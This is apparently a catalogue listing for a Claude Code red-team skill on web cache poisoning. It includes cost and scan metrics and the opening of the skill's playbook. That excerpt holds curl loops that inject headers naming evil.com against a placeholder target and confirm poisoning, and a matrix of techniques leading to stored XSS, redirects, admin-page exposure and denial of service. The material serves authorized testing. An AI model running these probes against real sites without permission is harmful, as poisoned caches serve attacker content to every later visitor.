web-cache-poisoning

web-cache-poisoning is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 56 tokens per session (1,574 once invoked), scanned A, original, Apache-2.0.

A guide to web cache poisoning, where attacker-controlled input makes a shared cache store and serve a modified response to later visitors.

In plain words
What is it for?
It is for testing shared-cache behavior, altered redirects or pages, denial of service, and attacks that chain into cross-site scripting.
Why use it?
It helps detect cache settings that ignore important headers or parameters while the application still uses them.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It is for testing shared-cache behavior, altered redirects or pages, denial of service, and attacks that chain into cross-site scripting.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/web-cache-poisoning
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,463 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill web-cache-poisoning
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-cache-poisoning

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/web-cache-poisoning/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/web-cache-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-cache-poisoning

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/web-cache-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,574 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.01574
Opus 5 $0.00028 $0.00787
Sonnet 5 $0.00011 $0.00315
Haiku 4.5 $0.00006 $0.00157

Measured 5d ago against content hash ecfb25afc7d7, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

web-cache-poisoning scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md · 112 lines

How it starts

The opening of the file, as written. The whole thing — 112 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

Class Trigger Outcome
Standard unkeyed header X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs stored open-redirect / XSS
Scheme downgrade X-Forwarded-Scheme: http reflected force-HTTP cache → MITM
Port confusion X-Forwarded-Port: 1 reflected into JS asset URLs broken site DoS
Routing override X-Original-URL: /admin, X-Rewrite-URL cached admin page served to public
Fat GET GET with a body parsed by origin but unkeyed by cache inject params via body
Parameter cloaking ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) poisoned param survives
Key normalization flaw cache lowercases path, origin doesn't (or strips ;jsessionid) desync key vs. response
Cache-key injection via Vary gap response varies on header cache doesn't include per-attacker poisoning
HTTP/0.9 / smuggling-assist downstream cache stores smuggled response mass poisoning
Cache-Control overlap origin returns Cache-Control: private, CDN ignores it private response cached globally
Oversized-header DoS huge unkeyed header → origin 400, CDN caches 400 denial-of-service on the URL
404 / error caching error page cached with attacker payload reflected DoS + stored XSS

Read the full file on GitHub · 112 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 112 lines · 56 tokens per session scan A ecfb25afc7d7

Subscribe to this mod's changes

web-cache-poisoning is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 56 tokens to every session and 1,574 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

api-crud-generator

A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.

xbsheng/atguigu-note · 21 tokens

msbuild-antipatterns

Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…

Harmeet10000/skills · 141 tokens

run-tests

Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…

Harmeet10000/skills · 248 tokens

fastapi

FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.

Harmeet10000/skills · 57 tokens

dotnet-10-csharp-14

Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.

Harmeet10000/skills · 59 tokens

optimizing-ef-core-queries

Optimize Entity Framework Core queries by fixing N+1 problems, choosing correct tracking modes, using compiled queries, and avoiding common performance traps. Use when EF Core queries are slow, generating excessive SQL, or causing high database load.

Harmeet10000/skills · 53 tokens